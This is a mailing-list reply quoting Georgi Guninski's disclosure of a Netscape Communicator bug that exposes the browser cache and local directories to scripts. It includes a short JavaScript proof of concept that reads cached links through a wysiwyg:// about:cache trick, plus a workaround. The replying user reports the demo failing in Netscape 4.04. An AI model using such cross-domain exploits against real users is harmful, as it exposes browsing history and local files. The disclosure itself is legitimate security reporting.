FYI: I run Netscape 4.04 and this is what I got trying that link: JavaScript Error: file:/c|/, line 2: access disallowed from scripts at http://www.geocities.com/ResearchTriangle/1711/b5.html to documents at another domain. Ian Georgi Guninski wrote:
There is a bug in Netscape Communicator 4.5, 4.07, 3.04 under Windows 95 (probably others) which allows reading user's cache (the urls the user has visited, including the info in GET forms). Reading local directories content is also allowed. This info may be sent to an arbitrary host. The bug may be exploited by email. Demonstration is available at: Cache reading: http://www.geocities.com/ResearchTriangle/1711/b4.html Directory reading: http://www.geocities.com/ResearchTriangle/1711/b5.html The javascript code is: sl=window.open('wysiwyg://1/about:cache'); //For Netscape 3.04 remove 'wysiwyg://1/' sl2=sl.window.open(); sl2.location="javascript:function f() {s='<SCRIPT>cr=\"\t \"; x=\"Here are some links from your cache:\"; for(i=0;i<5;i++) x+=opener.document.links[i]+cr;alert(x);</'+'SCRIPT>';return s};f()"; sl2.location.reload(); Workaround: Disable Javascript.
